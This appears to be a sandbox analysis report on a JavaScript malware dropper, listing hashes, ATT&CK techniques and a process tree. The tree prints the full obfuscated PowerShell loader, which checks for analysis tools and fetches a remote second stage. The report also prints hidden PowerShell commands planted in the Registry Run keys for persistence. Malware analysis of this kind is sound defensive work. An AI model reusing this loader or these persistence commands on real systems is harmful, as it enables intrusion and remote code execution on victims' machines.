76f86c7176b7d4df360bdcaf40864f40b148f841f95cd290ec017a7210a8a0ca

Analysis

max time kernel
149s
max time network
93s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/06/2026, 08:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
BS21110088121812100-00111.js
Size 41KB
Sample260602-ktb84ahs8z
SHA256 76f86c7176b7d4df360bdcaf40864f40b148f841f95cd290ec017a7210a8a0ca
MD5 d51c233871763eeddd166932c3362146
SHA1 f528f8c6b9e2315bc3efdfdede4a46a6d249f395
SHA512 43ee6b38b985c6f29b01cfe2f345a77c1159389104e71206119e1317e07be5b9fdf85df959fe66ae293971f39f31442b90277e8fbd14ba58fb09880953c12cab
SSDEEP 768:pn+lRelelelelelelelelelelelelelelelelelelVl8gJ19llF7biSS5TR:pQRwwwwwwwwwwwwwwwwww38gJf/F72
TLSH
T18F137816359FCA1871A282894A9F07B44B6F796F1FBF41C9008DEAC94FD39219C477A3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3432	powershell.exe
4	4716	powershell.exe
5	4716	powershell.exe
6	4716	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2324	powershell.exe
4536	powershell.exe
3432	powershell.exe
4716	powershell.exe
936	powershell.exe
980	powershell.exe
1500	powershell.exe
4104	powershell.exe
1784	powershell.exe
3236	powershell.exe
4076	powershell.exe
1804	powershell.exe
2476	powershell.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_tud = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\djlpa.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_nwj = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\djlpa.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_nwj = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\djlpa.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_nwj = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\djlpa.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_nwj = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\djlpa.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_nwj = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\djlpa.ps1' \";exit"	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
4716	powershell.exe
4716	powershell.exe
936	powershell.exe
936	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 936 set thread context of 1800	936	powershell.exe	125

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
1400	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 28 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1200	cmd.exe
4500	cmd.exe
2716	cmd.exe
4956	PING.EXE
3648	PING.EXE
3740	PING.EXE
1620	PING.EXE
384	cmd.exe
3964	PING.EXE
2956	cmd.exe
2216	cmd.exe
3064	cmd.exe
1684	cmd.exe
5060	cmd.exe
3752	cmd.exe
4480	PING.EXE
3460	PING.EXE
1520	PING.EXE
1724	PING.EXE
1736	cmd.exe
1432	PING.EXE
3632	PING.EXE
4668	cmd.exe
4108	PING.EXE
4980	cmd.exe
4056	PING.EXE
2264	cmd.exe
2836	PING.EXE

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2356	ipconfig.exe

Runs ping.exe 1 TTPs 14 IoCs

Remote System Discovery

T1018

pid	Process
1620	PING.EXE
3460	PING.EXE
4108	PING.EXE
4956	PING.EXE
4056	PING.EXE
3740	PING.EXE
1520	PING.EXE
1724	PING.EXE
3964	PING.EXE
1432	PING.EXE
3632	PING.EXE
3648	PING.EXE
2836	PING.EXE
4480	PING.EXE

Suspicious behavior: EnumeratesProcesses 52 IoCs

pid	Process
4536	powershell.exe
4536	powershell.exe
3432	powershell.exe
3432	powershell.exe
4716	powershell.exe
4716	powershell.exe
1400	powershell.exe
1400	powershell.exe
4716	powershell.exe
2324	powershell.exe
2324	powershell.exe
4716	powershell.exe
1784	powershell.exe
1784	powershell.exe
3236	powershell.exe
3236	powershell.exe
936	powershell.exe
936	powershell.exe
936	powershell.exe
936	powershell.exe
936	powershell.exe
936	powershell.exe
936	powershell.exe
4076	powershell.exe
4076	powershell.exe
936	powershell.exe
1804	powershell.exe
1804	powershell.exe
936	powershell.exe
936	powershell.exe
936	powershell.exe
936	powershell.exe
980	powershell.exe
980	powershell.exe
936	powershell.exe
936	powershell.exe
936	powershell.exe
936	powershell.exe
1500	powershell.exe
1500	powershell.exe
936	powershell.exe
936	powershell.exe
936	powershell.exe
936	powershell.exe
2476	powershell.exe
2476	powershell.exe
936	powershell.exe
936	powershell.exe
936	powershell.exe
4104	powershell.exe
4104	powershell.exe
936	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
936	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeIncreaseQuotaPrivilege	3432	powershell.exe
Token: SeSecurityPrivilege	3432	powershell.exe
Token: SeTakeOwnershipPrivilege	3432	powershell.exe
Token: SeLoadDriverPrivilege	3432	powershell.exe
Token: SeSystemProfilePrivilege	3432	powershell.exe
Token: SeSystemtimePrivilege	3432	powershell.exe
Token: SeProfSingleProcessPrivilege	3432	powershell.exe
Token: SeIncBasePriorityPrivilege	3432	powershell.exe
Token: SeCreatePagefilePrivilege	3432	powershell.exe
Token: SeBackupPrivilege	3432	powershell.exe
Token: SeRestorePrivilege	3432	powershell.exe
Token: SeShutdownPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeSystemEnvironmentPrivilege	3432	powershell.exe
Token: SeRemoteShutdownPrivilege	3432	powershell.exe
Token: SeUndockPrivilege	3432	powershell.exe
Token: SeManageVolumePrivilege	3432	powershell.exe
Token: 33	3432	powershell.exe
Token: 34	3432	powershell.exe
Token: 35	3432	powershell.exe
Token: 36	3432	powershell.exe
Token: SeIncreaseQuotaPrivilege	3432	powershell.exe
Token: SeSecurityPrivilege	3432	powershell.exe
Token: SeTakeOwnershipPrivilege	3432	powershell.exe
Token: SeLoadDriverPrivilege	3432	powershell.exe
Token: SeSystemProfilePrivilege	3432	powershell.exe
Token: SeSystemtimePrivilege	3432	powershell.exe
Token: SeProfSingleProcessPrivilege	3432	powershell.exe
Token: SeIncBasePriorityPrivilege	3432	powershell.exe
Token: SeCreatePagefilePrivilege	3432	powershell.exe
Token: SeBackupPrivilege	3432	powershell.exe
Token: SeRestorePrivilege	3432	powershell.exe
Token: SeShutdownPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeSystemEnvironmentPrivilege	3432	powershell.exe
Token: SeRemoteShutdownPrivilege	3432	powershell.exe
Token: SeUndockPrivilege	3432	powershell.exe
Token: SeManageVolumePrivilege	3432	powershell.exe
Token: 33	3432	powershell.exe
Token: 34	3432	powershell.exe
Token: 35	3432	powershell.exe
Token: 36	3432	powershell.exe
Token: SeDebugPrivilege	4716	powershell.exe
Token: SeDebugPrivilege	1400	powershell.exe
Token: SeIncreaseQuotaPrivilege	1400	powershell.exe
Token: SeSecurityPrivilege	1400	powershell.exe
Token: SeTakeOwnershipPrivilege	1400	powershell.exe
Token: SeLoadDriverPrivilege	1400	powershell.exe
Token: SeSystemProfilePrivilege	1400	powershell.exe
Token: SeSystemtimePrivilege	1400	powershell.exe
Token: SeProfSingleProcessPrivilege	1400	powershell.exe
Token: SeIncBasePriorityPrivilege	1400	powershell.exe
Token: SeCreatePagefilePrivilege	1400	powershell.exe
Token: SeBackupPrivilege	1400	powershell.exe
Token: SeRestorePrivilege	1400	powershell.exe
Token: SeShutdownPrivilege	1400	powershell.exe
Token: SeDebugPrivilege	1400	powershell.exe
Token: SeSystemEnvironmentPrivilege	1400	powershell.exe
Token: SeRemoteShutdownPrivilege	1400	powershell.exe
Token: SeUndockPrivilege	1400	powershell.exe
Token: SeManageVolumePrivilege	1400	powershell.exe
Token: 33	1400	powershell.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 1140	2876	wscript.exe	80
PID 1140 wrote to memory of 4536	1140	wscript.exe	81
PID 4536 wrote to memory of 3432	4536	powershell.exe	83
PID 3432 wrote to memory of 4716	3432	powershell.exe	85
PID 4716 wrote to memory of 1400	4716	powershell.exe	86
PID 4716 wrote to memory of 3752	4716	powershell.exe	87
PID 4716 wrote to memory of 1200	4716	powershell.exe	88
PID 4716 wrote to memory of 4500	4716	powershell.exe	91
PID 4716 wrote to memory of 2716	4716	powershell.exe	92
PID 4716 wrote to memory of 384	4716	powershell.exe	93
PID 4716 wrote to memory of 4668	4716	powershell.exe	94
PID 1200 wrote to memory of 1620	1200	cmd.exe	89
PID 3752 wrote to memory of 4480	3752	cmd.exe	90
PID 384 wrote to memory of 4108	384	cmd.exe	96
PID 2716 wrote to memory of 3460	2716	cmd.exe	98
PID 4716 wrote to memory of 2956	4716	powershell.exe	95
PID 4668 wrote to memory of 1724	4668	cmd.exe	99
PID 4500 wrote to memory of 1520	4500	cmd.exe	97
PID 2956 wrote to memory of 3964	2956	cmd.exe	100
PID 4716 wrote to memory of 2216	4716	powershell.exe	101
PID 2216 wrote to memory of 4956	2216	cmd.exe	102
PID 4716 wrote to memory of 3064	4716	powershell.exe	103
PID 4716 wrote to memory of 1736	4716	powershell.exe	104
PID 4716 wrote to memory of 4980	4716	powershell.exe	105
PID 4716 wrote to memory of 1684	4716	powershell.exe	106
PID 1736 wrote to memory of 1432	1736	cmd.exe	107
PID 3064 wrote to memory of 3632	3064	cmd.exe	108
PID 4980 wrote to memory of 3648	4980	cmd.exe	109
PID 1684 wrote to memory of 4056	1684	cmd.exe	110
PID 1400 wrote to memory of 2356	1400	powershell.exe	112
PID 4716 wrote to memory of 2324	4716	powershell.exe	113
PID 4716 wrote to memory of 2264	4716	powershell.exe	114
PID 4716 wrote to memory of 5060	4716	powershell.exe	116
PID 2264 wrote to memory of 3740	2264	cmd.exe	115
PID 5060 wrote to memory of 2836	5060	cmd.exe	117
PID 4716 wrote to memory of 5080	4716	powershell.exe	118
PID 4716 wrote to memory of 1784	4716	powershell.exe	119
PID 4716 wrote to memory of 3236	4716	powershell.exe	120
PID 4716 wrote to memory of 936	4716	powershell.exe	121
PID 4716 wrote to memory of 3980	4716	powershell.exe	122
PID 936 wrote to memory of 1800	936	powershell.exe	125
PID 936 wrote to memory of 1800	936	powershell.exe	125
PID 936 wrote to memory of 1800	936	powershell.exe	125
PID 936 wrote to memory of 1800	936	powershell.exe	125
PID 936 wrote to memory of 1800	936	powershell.exe	125
PID 936 wrote to memory of 4076	936	powershell.exe	126
PID 4076 wrote to memory of 1804	4076	powershell.exe	127
PID 4076 wrote to memory of 980	4076	powershell.exe	128
PID 4076 wrote to memory of 1500	4076	powershell.exe	129
PID 4076 wrote to memory of 2476	4076	powershell.exe	130
PID 4076 wrote to memory of 4104	4076	powershell.exe	131

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\BS21110088121812100-00111.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2876
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Public\vtczg.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1140
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c ";$OoOOF = $null ;;$HSfNk ;;$uMMuq ;;$uMMuq = 'ZnVuY3Rpb24gaXJSa' + '0' + 'ggew' + '0' + 'KIC' + ' + A + ' + 'gIHBvd2Vyc2hlbGwgLWNvbW1hbmQgIlJlc3RhIi' + 'A' + 'rICJydC1Db21wdXRlci' + 'A' + 'tRm' + ' + 9 + ' + 'yY2UiDQp' + ' + 9 + ' + 'O1N' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1T' + 'ZW' + 'NvbmRzIDU7IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpT' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sID' + '0' + 'gW1N5c3RlbS5OZXQuU2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbFR5cGVdOjpUbHMxMjsNCjskcFZ1Vm8gPSBUZXN' + '0' + 'LUNvbm5lY3Rpb24gJ3d3dy5nb2' + ' + 9 + ' + 'nbGUuY2' + ' + 9 + ' + 'tJy' + 'A' + 'tRXJyb3JBY3Rpb24gU2ls' + 'ZW' + '5' + '0' + 'bHlDb25' + '0' + 'aW51ZTsNCiRFRml5ci' + 'A' + '' + ' + 9 + ' + 'ICRwVnVWby' + 'A' + 'taXMgW' + '0' + 'FycmF5XTsNCmlmICgkRUZpeXIpew' + '0' + 'KDQp' + ' + 9 + ' + 'DQplbHNlew' + '0' + 'KaXJSa' + '0' + 'ggOw' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gZXhpdDsNCn' + '0' + '7DQoNCiRteGpGcC' + 'A' + '' + ' + 9 + ' + 'ICdJbW11bml' + '0' + 'eURlYnVnZ2VyJy' + 'A' + '7DQoNCjtpZigoZ2V' + '0' + 'LXByb2Nlc3MgJ2hhbmRsZScsICdhdXRvJy' + 'A' + 'rICdydW5zYycsICdEYmd2aWV3JywgJ3RjcHZjb24nLC' + 'A' + 'nYW55LnJ1bicsICdhbnkucnVuJywgJ3NhbmRib3gnLC' + 'A' + 'ndGNwdmlldycsICdPTExZREJHJywkbXhqRn' + 'A' + 'sICdXaXJlJy' + 'A' + 'rICdzaGFyaycsJ2FwYXRlRE5TJywnYW5hbHl6ZScgLWVhIFNpbGVudGx5Q2' + ' + 9 + ' + 'udGludWUpIC1lcS' + 'A' + 'kTnVsbCl7I' + 'A' + '' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gI' + 'A' + '' + '0' + 'KfQ' + '0' + 'K' + 'ZW' + 'xzZXsgDQppclJrSC' + 'A' + '7DQogIC' + 'A' + 'gICBleGl' + '0' + 'Ow' + '0' + 'KIH' + '0' + '7W1N5c3RlbS5OZXQuU2VydmljZVBvaW5' + '0' + 'TWFuYWdlcl' + '0' + '6OlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2wgPSBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEyIDskbmV6U287RnVuY3Rpb24gVWdzTUV7OyRVbWpzbS' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKFtzeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OkZyb21CYXNlNjRTdHJpbmcoJG5lelNvKSk7cmV' + '0' + 'dXJuICRVbWpzbTt' + ' + 9 + ' + 'OyRrTllaZS' + 'A' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ3l4aHBmLnR4dCcpOyRkRFRvci' + 'A' + '' + ' + 9 + ' + 'ICdhSFIwY' + '0' + 'hNNkx5Jy' + 'A' + 'rICgnOWhibVJ5WldabGJHbHdaV1J2Ym1GelkybHRaVEUzTnpnM' + '0' + '8nIC1yZXBsYWNlICwgJ1wkJywgJ' + '0' + 'EnKS' + 'A' + 'rICdUazBNRFk1TnpBdU1qSTBNVEV3Tnk1dFpYVnphWFJsYUc5emRHZGhkRzl5TG1OdmJTNWljaTlIY' + '0' + 'dGNmJFeF' + 'ZW' + 'MGxLWHpFMFh6QTFYMDFsZFhOZlFYSnhkV2wyYjNORVpWUmxlSFJ2THpBekxuUjRkQT' + '0' + '' + ' + 9 + ' + 'Jy' + 'A' + '7JG5lelNvID' + '0' + 'gJGREVG' + ' + 9 + ' + 'yOy' + 'A' + 'kZERUb3IgPSBVZ3NNRTskZERUb3IgfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJGtOWVplIC1FbmNvZGluZy' + 'A' + 'nVVRGOCcgLWZvcmNlIDskS1FaZmUgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdtbHFubC5' + '0' + 'eHQnKS' + 'A' + '7JHB2cGNzID' + '0' + 'gTmV3LU' + ' + 9 + ' + 'iamVjdCBTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYkNsaWVudC' + 'A' + '7JHB2cGNzLkVuY2' + ' + 9 + ' + 'kaW5nID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC' + 'A' + '7JHB2cGNzLkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6Q2FjaGVDb25' + '0' + 'cm' + ' + 9 + ' + 'sLC' + 'A' + 'nbm8tY2FjaGUnKS' + 'A' + '7JHB2cGNzLkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6UHJhZ21hLC' + 'A' + 'nbm8tY2FjaGUnKS' + 'A' + '7JHB2cGNzLlByb3h5ID' + '0' + 'gJG51bGwgOyRhdnRWdi' + 'A' + 'gPS' + 'A' + 'oIEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRrTllaZS' + 'A' + 'pIDskVmRhUW4gPS' + 'A' + 'kcHZwY3MuRG' + ' + 9 + ' + '3bmxvYWREYXRhKC' + 'A' + 'kYXZ' + '0' + 'VnYuVHJpbSgpICkgOyRtemNnaC' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKCRWZGFRbik7JG16Y2doID' + '0' + 'gKE' + 'A' + 'oW3JlZ2V4XTo6c3BsaXQoJG16Y2doLCdcJXglKycpKVsxXSkuVHJpbSgpOyRtemNnaCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kS1FaZmUgLWZvcmNlIDskU' + '0' + 'Rkd3cgPS' + 'A' + 'nTG8nICsgJ2FkJzskSEl3WVogPS' + 'A' + 'nQXNzZScgKy' + 'A' + 'nbWJseSc7JE' + ' + 9 + ' + 'rendKID' + '0' + 'gJ2ludicgKy' + 'A' + 'nb2tlJzskcGJnRnQgPS' + 'A' + 'nUmVmbGUnICsgJ2N' + '0' + 'aW' + ' + 9 + ' + 'uJzskZ2tVSUggPS' + 'A' + 'kbnVsbDskeGtzd3ggKz' + '0' + 'gJyRSQkJmWi' + 'A' + '' + ' + 9 + ' + 'ICgnJ2ggdCB' + '0' + 'cHMgOi' + 'A' + 'vIC8nJy5SZXBsYWNlKCcnICcnLC' + 'A' + 'nJycnKS' + 'A' + 'rICcnYW5kcmVm' + 'ZW' + 'xpcGVkb25hc2NpbWUxNzc4Nzk5ND' + 'A' + '2OTcwLjIyNDExMDcubWV1c2l' + '0' + '' + 'ZW' + 'hvc3RnYXRvci5jb2' + '0' + 'uYnIvJycgKy' + 'A' + 'nJ' + '0' + 'dwYXpsTFVXSUpfMTRfMDVfTWV1c1' + ' + 9 + ' + 'BcnF1aXZvc' + '0' + 'RlVGV4dG8vJycgKy' + 'A' + 'nJ1BlTm8nJykgOycgOyR4a3N3eC' + 'A' + 'rPS' + 'A' + 'nJHpnSG' + ' + 9 + ' + 'XID' + '0' + 'gJyclYmFzZTY' + '0' + 'JWRIaDBMbXhpTDJGa' + '0' + '5EaGpMMjF2WXk1aGFYSjFiM' + '0' + 'owYzJGakxtOee3kmIyeGhkR' + '0' + 'ZqTHk4NmMzQjBkR2c' + ' + 9 + ' + 'JycgOyR6Z' + '0' + 'hvVy' + 'A' + '' + ' + 9 + ' + 'ICgkemdIb1cgLXJlcGxhY2UgJyfnt5InJy' + 'A' + 'sICcnbicnKS' + 'A' + '7OyRjVEZ6Ti' + 'A' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWJsaWNcJycgKy' + 'A' + 'nJ21scW5sLnR4dCcnKS' + 'A' + '7JHBkZGR' + '0' + 'ID' + '0' + 'gKEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRjVEZ6Ti' + 'A' + 'tRW5jb2RpbmcgVVRGOCk7Jy' + 'A' + '7JHhrc3d4ICs' + ' + 9 + ' + 'ICckcGRkZHQgLXJlcGxhY2UgJycgJycsICcnJycgOycgOyR4a3N3eC' + 'A' + 'rPS' + 'A' + 'nW2J5dGVbXV' + '0' + 'kaGh2eG4gPSBbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXV' + '0' + '6Om5ldygpOycgOyR4a3N3eC' + 'A' + 'rPS' + 'A' + 'nJGhodnhuID' + '0' + 'gKCRwZGRkdC' + 'A' + 'gLXNwbGl' + '0' + 'ICcnLCcnIHwgRm' + ' + 9 + ' + 'yRWFjaC1PYmplY3QgeyBbYnl' + '0' + 'ZV' + '0' + 'oJF8uVHJpbSgpKSB' + ' + 9 + ' + 'KS' + 'A' + '7JzskeGtzd3ggKz' + '0' + 'gJyRzclFEby' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uJy' + 'A' + 'rICRwYmdGdC' + 'A' + 'rICcuJy' + 'A' + 'rICRISXd' + 'ZW' + 'i' + 'A' + 'rICddOjonICsgJFNEZHd3ICsgJyggJGhodnhuICk7Jy' + 'A' + '7JHhrc3d4ICs' + ' + 9 + ' + 'ICckZ3hWeEkgPS' + 'A' + 'kc3JRRG8uR2V' + '0' + 'VHlwZSggJydDbGFzc' + '0' + 'xpYnJhcnkzLkNsYXNzMScnICk7Jy' + 'A' + '7JHhrc3d4ICs' + ' + 9 + ' + 'ICckWERyUWQgPS' + 'A' + 'kZ3hWeEkuR2V' + '0' + 'TWV' + '0' + 'aG' + ' + 9 + ' + 'kKC' + 'A' + 'nJ3ByRlZJJycgKS4nICsgJE' + ' + 9 + ' + 'rendKICsgJyggJGdrVUlIICwgW2' + ' + 9 + ' + 'iamVjdFtdXS' + 'A' + 'oICR6Z' + '0' + 'hvVy' + 'A' + 'sICcnJX' + 'ZW' + 'bEd6JScnICwgJydEIEREQzpcV2luZG' + ' + 9 + ' + '3c1xNaWNyb3NvZnQuTkVUXEZyYW1ld2' + ' + 9 + ' + 'ya1x2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycsICcnJHRydWUnJywgJFJCQmZaICkgKTsnIDskakdhZEIgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdtcGJxZF8wMS5wczEnICkgOyR4a3N3eCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kakdhZEIgLWZvcmNlIDtTdGFydC1TbGVlcC' + 'A' + 'tcy' + 'A' + '1Oztwb3dlcnNo' + 'ZW' + 'xsIC1FeGVjdXRpb25Qb2xpY3kgYnlwYXNzIC1GaWxlICRqR2FkQi' + 'A' + '7' ;;$HSfNk ;;$GGIvy = ($uMMuq + $HSfNk) ;;$jqsdl = $GGIvy ;$jqsdl = $jqsdl.replace('''',$OoOOF) ;$jqsdl = $jqsdl.replace('+ ',$OoOOF) ;$jqsdl = $jqsdl.replace(' ',$OoOOF) ;Function Cdqxn{;$xVYHD = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String( $jqsdl ));return $xVYHD;};$gtDQD = Cdqxn; $gtDQD = ($gtDQD -replace '%vVlGz%','C:\Users\Public\vtczg的这五js') ;$JWSrQ = 'C:\Users\Public\mrmsc.p' + 's1' ; $gtDQD | Out-File -FilePath $JWSrQ -force ; powershell -ExecutionPolicy Bypass -file $JWSrQ ; "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4536
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\mrmsc.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3432
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\mpbqd_01.ps1
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4716
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Clear-DnsClientCache -ErrorAction SilentlyContinue; ipconfig /flushdns | Out-Null ;
        6⤵
        Hide Artifacts: Ignore Process Interrupts
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1400
        
        C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /flushdns
        7⤵
        Gathers network information
        
        PID:2356
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1778728540.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
